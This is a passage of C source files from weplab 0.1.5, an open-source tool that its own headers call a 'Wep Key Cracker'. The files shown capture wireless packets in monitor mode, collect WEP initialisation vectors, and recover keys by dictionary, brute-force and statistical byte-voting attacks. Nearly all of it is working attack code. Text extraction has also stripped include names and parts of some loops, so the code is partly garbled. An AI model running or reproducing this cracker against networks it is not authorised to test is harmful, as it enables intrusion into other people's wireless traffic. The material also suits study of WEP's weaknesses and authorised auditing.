(global_v.alpha) { finalByte=0x7A; printf(" => Alpha mode selected. Only values from 0x41 to 0x7A will be tested\n\n"); initByte=0x41; } if (global_v.alnum) { finalByte=0x7A; initByte=0x30; printf(" => Alphanumeric mode selected. Only values from 0x30 to 0x7A will be tested\n\n"); } for (i=0; i2){ printf("Right KEY found!!\n"); ViewKey(key.key,global_v.key_len); fflush(stdout); exit(1); } } } }else{ arrayProcesses[0]=mpid; while (!waitpid(0,NULL,WNOHANG)) { c=getchar(); if (c=='\n') kill(mpid,SIGUSR1); } } // END TEST trues=Verify10PacketsWithKey(packets, key.key); if (trues) printf("HURRA! %d packets verified the key!",trues); fflush(stdout); } weplab-0.1.5/bruteforce.h0000644000000000000000000000217110211306702012160 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- bruteforce.h: dictionary based wep crack. */ #ifndef _BRUTEFORCE_H #define _BRUTEFORCE_H typedef struct{ short values[256]; short total; } t_keyspace; typedef struct{ unsigned char key[13]; t_keyspace keyspace[13]; short logicalStatus[13]; int byte0IntValue; } t_bruteforceKey; void bruteforce (void); short IncrementKey(t_bruteforceKey *key); #endif weplab-0.1.5/capture.c0000644000000000000000000001253610211673561011476 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- capture.c: wep capture packets */ #include #include #include #include #include #include #include #include #include "globals.h" #include "capture.h" #include "wep.h" #include "debug.h" unsigned long countCapturedWeakPackets = 0; unsigned long countCapturedUniqWeakPackets = 0; #define MIN_PKT_LEN 60 unsigned char *capturedWeakPacketsTable; unsigned long countCapturedPackets = 0; time_t lastTime; time_t actualTime; /* callback function that is passed to pcap_loop(..) and called each time * a packet is recieved */ void callbackWeakPackets(u_char *dumpfile, const struct pcap_pkthdr *header, const u_char *pkt_data) { static t_wi_frame *wi_h; unsigned char *iv; unsigned int tmp; unsigned char *pkt; countCapturedPackets++; pkt=(unsigned char *) pkt_data; if (global_v.prismHeaderPresent) pkt+=144; wi_h=(t_wi_frame *)pkt; if (header->caplen1) debug("Packet %u (%u size) is smaller than %u\n",countCapturedPackets, header->caplen, MIN_PKT_LEN); }else if(!(wi_h->wi_frame_ctl_1&0x08)){ if (global_v.debug>1) debug("Packet %u is not a DATA type packet",countCapturedPackets); }else { if (((*(((unsigned char *)wi_h)+1))&0xC0)==0xC0) iv=pkt+sizeof(t_wi_frame)+6; else iv=pkt+sizeof(t_wi_frame); if (global_v.debug>1){ debug("Packet %u",countCapturedPackets); debug("---------------------------------------------"); DebugViewPacketHeaders(pkt); debug("Key ID: %u",(unsigned int)iv[3]); debug("Pcap Len: %u",header->caplen); debug("---------------------------------------------\n"); } countCapturedWeakPackets++; if (((*(((unsigned char *)wi_h)+1))&0xC0)==0xC0) iv=pkt+sizeof(t_wi_frame)+6; else iv=pkt+sizeof(t_wi_frame); if (global_v.debug>1) DebugViewKey(iv,3); tmp=((unsigned int)(((unsigned int) iv[0]) | (((unsigned int) iv[1]) << 8) | (((unsigned int) iv[2]) << 16))); if (!capturedWeakPacketsTable[tmp]){ capturedWeakPacketsTable[tmp]=0xFF; pcap_dump(dumpfile, header, pkt_data); countCapturedUniqWeakPackets++; } } } void catch_intCaptureWeakPackets(int sig_num){ signal(SIGUSR1, catch_intCaptureWeakPackets); actualTime=time(NULL); printf("%lu total packets captured\n",countCapturedPackets); printf("%lu wep data packets captured\n",countCapturedWeakPackets); printf("%lu unique IV wep data packets captured\n",countCapturedUniqWeakPackets); printf("%f%% from total IV space\n",((int) countCapturedUniqWeakPackets)/16777.216); if (actualTime-lastTime) printf("%lu packets/s\n",(unsigned long int)countCapturedWeakPackets/(actualTime-lastTime)); } #define HUGE_MEM_WEAKPACKETS_SIZE 104000000 void captureWeakPackets(void){ char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handle; pid_t mpid; pcap_dumper_t *dumpfile; capturedWeakPacketsTable=malloc(HUGE_MEM_WEAKPACKETS_SIZE); if (!capturedWeakPacketsTable) { printf("Error: not enough memmory to allocate %u",HUGE_MEM_WEAKPACKETS_SIZE); exit (-1); } debug ("Setting the memmory to 0s"); memset(capturedWeakPacketsTable,0,HUGE_MEM_WEAKPACKETS_SIZE); signal(SIGUSR1,SIG_IGN); handle = pcap_open_live(global_v.device, global_v.caplen, 1, 0, errbuf); if(handle == NULL) { printf("pcap_open_live(): %s\n",errbuf); exit(1); } if (pcap_datalink(handle)!=DLT_IEEE802_11 && pcap_datalink(handle)!=DLT_PRISM_HEADER){ printf("ERROR: datalink type is not DLT_IEEE802.11 or PRISM_HEADER. Maybe you need to configure monitor mode in your wireless card\n"); exit(1); } if (pcap_datalink(handle)==DLT_PRISM_HEADER){ printf("Prismheader detected. Remember to use --prismheader when using this capture file\n"); } dumpfile = pcap_dump_open(handle, global_v.packetsFilename); if(dumpfile==NULL){ fprintf(stderr,"\nError opening output file %s\n",global_v.packetsFilename); exit(1); } printf("\nPacket capture started! Please hit enter to get statistics.\n"); fflush(stdout); lastTime=time(NULL); if (!(mpid=fork())){ signal(SIGUSR1, catch_intCaptureWeakPackets); pcap_loop(handle,-1,callbackWeakPackets,(unsigned char *)dumpfile); pcap_dump_flush(dumpfile); pcap_dump_close(dumpfile); printf("Shuting down sniffer...\n"); }else{ printf("\n => Press 'q' to stop sniffing\n\n"); while (!waitpid(0,NULL,WNOHANG)) { if (getchar()=='q') break; kill(mpid,SIGUSR1); } pcap_dump_flush(dumpfile); pcap_dump_close(dumpfile); printf("Shuting down sniffer...\n"); } pcap_close(handle); } void captureWepDataPackets(void){ printf("Shuting down sniffer...\n"); } weplab-0.1.5/capture.h0000644000000000000000000000202010211370504011455 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- capture.h: wep capture packets */ #ifndef _CAPTURE_H #define _CAPTURE_H #ifndef DLT_PRISM_HEADER #define DLT_PRISM_HEADER 119 /* prism header, not defined on some platforms */ #endif void captureWeakPackets(void); void captureWepDataPackets(void); #endif weplab-0.1.5/debug.c0000644000000000000000000000233510210677722011117 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- debug.c: debug information manager */ #include #include #include #include #include #include #include #include #include "globals.h" #include "debug.h" inline void debug(char *formatString, ...){ va_list ap; if (global_v.debug){ va_start(ap,formatString); vfprintf(stdout, formatString, ap); va_end(ap); fprintf(stdout, "\n"); fflush(stdout); } } weplab-0.1.5/debug.h0000644000000000000000000000161510210677722011124 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- debug.h: debug information manager */ #ifndef _DEBUG_H #define _DEBUG_H inline void debug(char *formatString, ...); #endif weplab-0.1.5/dictionary.c0000644000000000000000000002256110267007056012200 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- dictionary.c: dictionary based wep crack. */ #include #include #include #include #include #include #include #include #include #include #include "md5.h" #include "wep.h" #include "globals.h" #include "debug.h" #include "dictionary.h" #include "attack.h" /* This section of the code was riped from the wep_tools archive from Tim Newsham * http://lava.net/~newsham/wlan/ */ #define WEPWEAKKEYSIZE 5 #define WEPSTRONGKEYSIZE 13 #define WEPKEYS 4 #define WEPKEYSTORE (WEPWEAKKEYSIZE * WEPKEYS) /* * generate four subkeys from a seed using the defacto standard */ void wep_seedkeygen40(int val, u_char *keys){ int i; for(i = 0; i < WEPKEYSTORE; i++) { val *= 0x343fd; val += 0x269ec3; keys[i] = val >> 16; } return; } /* * generate one key from a string using the de facto standard * * resultant key is stored in * one 128 bit key: keys[0-12] */ void wep_keygen128(char *str, unsigned char *keys){ struct MD5Context ctx; unsigned char buf[64]; int i, j; /* repeat str until buf is full */ j = 0; for(i = 0; i < 64; i++) { if(str[j] == 0) j = 0; buf[i] = str[j++]; } MD5Init(&ctx); MD5Update(&ctx, buf, sizeof buf); MD5Final(buf, &ctx); memcpy(keys, buf, WEPKEYSTORE); for(i = 0; i < WEPSTRONGKEYSIZE; i++) { keys[i] = buf[i]; } for(; i < WEPKEYSTORE; i++) { keys[i] = 0; } return; } /* * generate four subkeys from a string using the defacto standard * * resultant keys are stored in keys[0-4], keys[5-9], keys[10-14] * and keys[15-20] */ void wep_keygen40(char *str, u_char *keys){ int val, i, shift; /* * seed is generated by xor'ing in the keystring bytes * into the four bytes of the seed, starting at the little end */ val = 0; for(i = 0; str[i]; i++) { shift = i & 0x3; val ^= (str[i] << (shift * 8)); } wep_seedkeygen40(val, keys); return; } /* End of ripped code section. We are back to my horrible coding style ;) */ unsigned long int dtotalTests=0; short ndTotalTests=0; unsigned char keys[WEPKEYSTORE]; unsigned char last_keys[WEPKEYSTORE]; time_t initialTime; time_t lastTime; time_t actualTime; int WEPKeyID=0; pid_t arrayProcesses[64]; int dcurrentProcessNumber=0; FILE* wordfile; int GetNextWord(unsigned char *word, int sz){ int i; char* rv=NULL; bzero(word, sz); while (((rv=fgets(word, sz-1, wordfile))!=NULL)&&((word[0]=='\r')||(word[0]=='\n'))) { /* We didn't get valuable data :( */ ; } for (i=1; i<=sz-1; i++) /* We turn CR and LF to '\0' because fgets likes to put them in our buffer */ if((word[i]=='\n')||(word[i]=='\r')) { word[i]=0; break; } return (rv == NULL)?-1:0; } void catch_dint(int sig_num){ int i; if (!dcurrentProcessNumber) for (i=1; i",dcurrentProcessNumber); if (!ndTotalTests) printf(" %lu keys tested [",dtotalTests); else printf(" %d * %lu keys tested [",ndTotalTests, dtotalTests); if (actualTime-lastTime) printf("%lu c/s] >>> ",(unsigned long int)dtotalTests/(actualTime-lastTime)); if (defaultAttacks[STABILITY_LEVELS][1]) printf(" s:\"%s\" ", last_keys); else if (global_v.key_len == WEPWEAKKEYSIZE) { printf("Key index: %d, ", WEPKeyID); ViewKey (&last_keys[WEPKeyID*5], global_v.key_len); } else ViewKey (last_keys, global_v.key_len); printf("\n"); } void dictionary (void){ t_storedPacket *packets[10]; unsigned char word[100]; pcap_t *file; pid_t mpid; int i; int c; int totalPackets; //unsigned char key2[13]="\x3e\x9a\xa0\xa4\xc6\x2e\xad\x59\x5a\x07\xa1\x80\x1f"; int trues; int totalByte=0xFF; int totalTemp=0; #ifdef _DEBUG debug("Starting Dictionary based cracking."); #endif file=OpenPcapFile(global_v.packetsFilename); signal(SIGUSR1,SIG_IGN); /* We could be able to use other file than STDIN by fopen'ing */ if (!strcmp(global_v.wordfile,"")) wordfile=stdin; else{ wordfile=fopen(global_v.wordfile,"r"); if (wordfile==NULL){ printf("\n ERROR opening the wordfile %s for reading\n\n",global_v.wordfile); exit(1); } } for (i=0; i<10; i++) { packets[i]=malloc(sizeof(t_storedPacket)); packets[i]->packet=NULL; } totalPackets=GetLessSizedPackets(file, packets); DebugView10Packets(packets, totalPackets); ClosePcapFile(file); for (i=0; i %s\n",word); ViewKey(keys, global_v.key_len); exit(1); } } } else if (VerifyPacketWithKey(packets[0], keys )){ printf("It seems that the first control data packet verifies the key! Let's test it with others....\n"); if (Verify10PacketsWithKey(packets, keys )>2){ printf("Right KEY found!!\n"); printf("Passphrase was --> %s\n",word); ViewKey(keys, global_v.key_len); exit(1); } } if((GetNextWord(word, sizeof(word)))==-1) { /* We have reached the end of the file, let's print stats and quit */ kill(getpid(), SIGUSR1); exit(1); } /* Find which kind of attack we are asked to perform */ if (defaultAttacks[STABILITY_LEVELS][1]) { /* We are asked to perform basic ascii test * We just have to backup the last key for the SIGUSR1 catching function that will print the last word */ bzero(keys, global_v.key_len+1); strncpy(keys, word, global_v.key_len); bzero(last_keys, global_v.key_len+1); strcpy(last_keys, keys); if (global_v.debug >1) { printf("We generate this "); ViewKey (keys, global_v.key_len); } } else { /* We work with real world key generation algorithm */ if (global_v.key_len == WEPSTRONGKEYSIZE) { wep_keygen128(word, keys); if (global_v.debug >1) { printf("We generate this "); ViewKey (keys, global_v.key_len); } } else { wep_keygen40(word, keys); if (global_v.debug >1) { printf("We generate these four keys : \n"); printf("Index 1 - "); ViewKey (keys, global_v.key_len); printf("Index 2 - "); ViewKey (&keys[5], global_v.key_len); printf("Index 3 - "); ViewKey (&keys[10], global_v.key_len); printf("Index 4 - "); ViewKey (&keys[15], global_v.key_len); printf("..... end\n"); } } memcpy(last_keys, keys, WEPKEYSTORE); } } }else{ //fclose(wordfile); arrayProcesses[0]=mpid; printf("\n\nStatistical cracking started! Please hit enter to get statistics from John.\nWeplab statistics will be printed each 5 seconds\n\n"); while (!waitpid(0,NULL,WNOHANG)) { if (wordfile != stdin){ c=getchar(); } else { /* We can't wait for keyboard input as we are reading the dictionnary file from stdin ! * So we just sleep 10 seconds and print stats */ sleep(5); c='\n'; } if (c=='\n') kill(mpid,SIGUSR1); } printf("This was the end of the dictionnary attack.\n"); } trues=Verify10PacketsWithKey(packets, keys /* XXX */ ); if (trues) printf("HURRA! %d packets verified the key!",trues); } weplab-0.1.5/dictionary.h0000644000000000000000000000177410210677722012211 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- dictionary.h: dictionary based wep crack. */ #ifndef _DICTIONARY_H #define _DICTIONARY_H typedef struct{ unsigned char key[14]; /* This allows fgets to store the last '\n' */ } t_dictionnarykey; void dictionary (void); #endif weplab-0.1.5/globals.c0000644000000000000000000000170210211431641011436 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- globals.c: global resources. */ #include "globals.h" t_global_v global_v={0,0,0,"","wlan0","","",5,0,0,0,0,0,"",100,0,50,1,2,"",0,2,0,0,""}; unsigned char S_InitialBackup[256]; weplab-0.1.5/globals.h0000644000000000000000000000361610267004512011455 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- globals.h: global resources. */ #ifndef _GLOBALS_H #define _GLOBALS_H #define PROGRAM_NAME "weplab - Wep Key Cracker" #define PROGRAM_VERSION "v0.1.5" #define PROGRAM_AUTHOR "Jose Ignacio Sanchez Martin - Topo[LB] " #define DELAY_GC 10 #define LEN_KEY 40 #define LEN_IV 3 #define LEN_ID 1 #define MAX_PKT_LEN 65535 #define MAX_PKT_SIZE 65000 #define MIN_PKT_SIZE 20 #define TOMAC(x) (unsigned char)x[0], (unsigned char)x[1], (unsigned char)x[2], (unsigned char)x[3], (unsigned char)x[4], (unsigned char)x[5] typedef struct{ int verbose; int daemon; int debug; char filterString[2048]; char device[256]; char packetsFilename[256]; char weakPcapFilename[256]; int key_len; short fcsPresent; short prismHeaderPresent; short allowdups; short ascii; short useDebugKey; unsigned char debugKey[128]; unsigned int caplen; short keyid; short percSucceed; int processes; int totalAttacksSelected; char target_bssid[6]; int target_bssid_selected; int stability; short alnum; short alpha; char wordfile[256]; }t_global_v; extern t_global_v global_v; extern unsigned char S_InitialBackup[256]; #endif weplab-0.1.5/heuristics.c0000644000000000000000000003315010267005105012202 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- heuristics.c: dictionary based wep crack. */ #include #include #include #include #include #include #include #include #include "wep.h" #include "globals.h" #include "debug.h" #include "heuristics.h" #include "bruteforce.h" #include "attack.h" #define N 256 unsigned long int totalKeysTested=0; unsigned char keyBranch[13]; unsigned char breathKeyBranch[13]; unsigned long totalBranch=0; t_bruteforceKey key; time_t initialTime; time_t lastTime; time_t actualTime; #define MAX_CANDIDATES_WEAK_VALUES_PER_KEYBYTE 10 unsigned char ranking[13][MAX_CANDIDATES_WEAK_VALUES_PER_KEYBYTE]; void GuessOutputByte(int keyByte, u_char *sKey, t_StoredPacketsIV *packets, t_storedPacket **controlPackets, unsigned int votes[17][256]) { int i, j,k; unsigned int x; u_char E, S[N]; u_char K[13 + 3]; float f; unsigned int max, imax; short found=0; unsigned char fakeString[100]="\x3e\x9a\xa0\xa4\xc6\x2e\xad\x59\x5a\x07\xa1\x80\x1f"; unsigned char *actual_iv; unsigned int totalIvs=0; unsigned int breath=0; unsigned char byteBackup=0; unsigned int totalVotes=0; unsigned int totalVotesTmp=0; if (!sKey) sKey=fakeString; memcpy(K + LEN_IV, sKey, keyByte); totalBranch++; // If it is the last keybyte dont waste time calculating statistics and just try 256 combinations. Is faster! if (keyByte==global_v.key_len-1 && global_v.useDebugKey!=global_v.key_len){ for (i=0; i<=0xFF; i++){ K[keyByte+LEN_IV]=i; keyBranch[keyByte]=i; totalKeysTested++; if (VerifyPacketWithKey(controlPackets[0],K+LEN_IV)){ printf("It seems that the first control data packet verifies the key! Let's test it with others....\n\n\n"); if (Verify10PacketsWithKey(controlPackets, K+LEN_IV)>2){ actualTime=time(NULL); ViewKey(K+LEN_IV,global_v.key_len); printf("Right KEY found!!\n"); printf("Key cracked in %lu seconds\n", (unsigned long int) actualTime-initialTime); fflush(stdout); exit (1); } } } return; } for (i=0; i<=0xFF; i++) votes[keyByte][i]=1; actual_iv=packets->iv; for (j=0; j10) totalVotes+=votes[keyByte][ranking[keyByte][i]]; } // Calculate correction factor f=100/(float)totalVotes; // Normalize the percentajes (votes) if (totalVotes>100){ // Normalize recalculating total amount of perc. increasing more the higher probabilities. totalVotes=0; for (i=0; i1 && global_v.useDebugKey) || keyByte Attack %u current weaks for keybyte %d: ",(int)keyByte,j+1,(int)keyByte); printf("%d\n",weakKeyBranch[j][keyByte]); } } printf("CANDIDATES: "); for (i=0; i breath %u (%u%% requested)\n\n",breath,global_v.percSucceed); fflush(stdout); } // Calculate next branch that will be taken. if (keyByte < global_v.key_len-1 && keyByte > global_v.useDebugKey-1){ // First try to use ranking bytes for (i=0; i2){ actualTime=time(NULL); ViewKey(K+LEN_IV,global_v.key_len); printf("Right KEY found!\n"); printf("Key cracked in %lu seconds\n", (unsigned long int) actualTime-initialTime); fflush(stdout); exit (1); } } } } void catch_intHeuristics(int sig_num){ int i,j; signal(SIGUSR1, catch_intHeuristics); actualTime=time(NULL); printf("\n%lu keys tested\n",totalKeysTested); printf("%lu branch taken\n",totalBranch); if (actualTime-lastTime){ printf("%lu c/s\n",(unsigned long int)totalKeysTested/(actualTime-lastTime)); printf("%lu b/s\n",(unsigned long int)totalBranch/(actualTime-lastTime)); } ViewKey (keyBranch,global_v.key_len); ViewKey (key.key,global_v.key_len); for (j=0; jperc) { printf("\r %lu %% read",lastProgressPerc++); fflush(stdout); lastFilePosition=actualFilePosition; } if (global_v.prismHeaderPresent) { if (h.len<144+sizeof(t_wi_frame)) { if (global_v.debug>2) debug("Packet %u has negative size with prismheader!! Perhaps you dont need --prismheader"); continue; } pkt+=144; } wi_h=(t_wi_frame *)pkt; if (h.caplen2) debug("Packet %u has different real length (%u) than captured length (%u)",totalPackets,h.len, h.caplen); }else if(!(wi_h->wi_frame_ctl_1&0x08)){ if (global_v.debug>2) debug("Packet %u is not a DATA type packet",totalPackets); }else { //p_len=h.caplen; // First let's check the BSSID if selected if (global_v.target_bssid_selected) if (target_bssid(pkt)) { if (global_v.debug>2) debug("Packet %u belongs to a different BSSID",totalPackets); continue; } if (((*(((unsigned char *)wi_h)+1))&0xC0)==0xC0) iv=pkt+sizeof(t_wi_frame)+6; else iv=pkt+sizeof(t_wi_frame); if (global_v.key_len==5 && iv[3]!=global_v.keyid) continue; // Si no es la key correcta para 64 bits la ignoro if (global_v.debug>2){ debug("Packet %u",totalPackets); debug("---------------------------------------------"); DebugViewPacketHeaders(pkt); debug("Pcap Len: %u",h.len); debug("---------------------------------------------\n"); } totalValidPackets++; if (global_v.debug>2) DebugViewKey(iv,3); actual_iv=packets->iv+((unsigned int)(((unsigned int) iv[0]) | (((unsigned int) iv[1]) << 8) | (((unsigned int) iv[2]) << 16)))*IV_ELEM_SIZE; if (!actual_iv[5]){ actual_iv[0]=iv[0]; actual_iv[1]=iv[1]; actual_iv[2]=iv[2]; actual_iv[3]=iv[4]^0xaa; actual_iv[4]=iv[5]^0xaa; actual_iv[5]=0xFF; packets->len++; totalUniqIV++; } } } printf("\r \n"); debug("Total valid packets read: %u",totalValidPackets); debug("Total packets read: %u",totalPackets); debug("Total unique IV read: %u",totalUniqIV); return totalValidPackets; } void WeakPacketsStats(t_StoredPacketsIV *packets){ printf(" %lu Weak packets gathered:\n",packets->len); } void VotesStats( unsigned int votes[13][256]){ int i,j; if (global_v.debug>1) for (i=0; i0) debug ("%u:%02x --> %u",i,j,votes[i][j]); } void CalculateSimpleHeuristics(t_StoredPacketsIV *packets,t_storedPacket **controlPackets){ unsigned int votes[13][256]; int i,j; for (i=0; i<13; i++) for (j=0; j<256; j++) votes[i][j]=0; //DebugViewKey(global_v.debugKey,13); for (i=0; i0 && i!=global_v.useDebugKey) keyBranch[i]=global_v.debugKey[i]; GuessOutputByte(i, global_v.debugKey, packets, controlPackets, votes); } printf("\n\nKey NOT found\n"); printf("Perhaps you should increase the default probability (--perc) to a higher value (default 70%), or capture more packets.\n"); fflush(stdout); VotesStats(votes); } void ReduceTable(unsigned char *t){ unsigned char *actual_iv=t; unsigned char *last_iv=t; unsigned int x; for(x = 0; x < 0xFFFFFF; x++) { if (actual_iv!=last_iv && actual_iv[5]) { last_iv[0]=actual_iv[0]; last_iv[1]=actual_iv[1]; last_iv[2]=actual_iv[2]; last_iv[3]=actual_iv[3]; last_iv[4]=actual_iv[4]; last_iv[5]=actual_iv[5]; last_iv+=IV_ELEM_SIZE; actual_iv[5]=0; } actual_iv+=IV_ELEM_SIZE; } } #define HUGE_MEM_SIZE 104000000 void heuristics (void){ t_storedPacket *packets[10]; t_StoredPacketsIV packetsIV; pid_t mpid; int c; pcap_t *file; int i; int totalPackets; //unsigned char key2[13]="\x3e\x9a\xa0\xa4\xc6\x2e\xad\x59\x5a\x07\xa1\x80\x1f"; #ifdef _DEBUG debug("Starting heuristics based cracking."); #endif //DebugViewKey(global_v.debugKey,global_v.useDebugKey); packetsIV.iv=malloc(HUGE_MEM_SIZE); packetsIV.len=0; if (!packetsIV.iv) { printf("Error: not enough memory to allocate %u",HUGE_MEM_SIZE); exit (-1); } debug ("Setting the memory to 0s"); memset(packetsIV.iv,0,HUGE_MEM_SIZE); debug ("Opening packet file for reading sample encrypted packets"); file=OpenPcapFile(global_v.packetsFilename); for (i=0; i<10; i++) { packets[i]=malloc(sizeof(t_storedPacket)); packets[i]->packet=NULL; } totalPackets=GetLessSizedPackets(file, packets); DebugView10Packets(packets, totalPackets); ClosePcapFile(file); debug ("Opening packet file for loading all the IV"); file=OpenPcapFile(global_v.weakPcapFilename); totalPackets=GetWeakPackets(file, &packetsIV); WeakPacketsStats(&packetsIV); debug ("Compressing IV table..."); ReduceTable(packetsIV.iv); lastTime=time(NULL); initialTime=time(NULL); if (!(mpid=fork())){ signal(SIGUSR1, catch_intHeuristics); printf("Statistical cracking started! Please hit enter to get statistics.\n"); fflush(stdout); CalculateSimpleHeuristics(&packetsIV,packets); }else{ while (!waitpid(0,NULL,WNOHANG)) { c=getchar(); if (c=='\n') kill(mpid,SIGUSR1); } } ClosePcapFile(file); } weplab-0.1.5/heuristics.h0000644000000000000000000000220410210677722012213 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- heuristics.h: dictionary based wep crack. */ #ifndef _HEURISTICS_H #define _HEURISTICS_H typedef struct{ unsigned long int len; unsigned char *iv; }t_StoredPacketsIV; #define AMOD(x, y) ((x) % (y) < 0 ? ((x) % (y)) + (y) : (x) % (y)) #define MAX_IV_STORED 20000000 #define IV_ELEM_SIZE 6 // PRESENTE (bool), IV1, IV2, IV3, B1, B2 void heuristics (void); #endif weplab-0.1.5/md5.c0000644000000000000000000002127010057730316010513 00000000000000/* This code has been heavily hacked by Tatu Ylonen to make it compile on machines like Cray that don't have a 32 bit integer type. */ /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ /* #include "includes.h" */ #include "md5.h" /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; memset(ctx->in, 0, 64); debugStatus("after init", ctx); } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { uint32 t; /* Update bitcount */ t 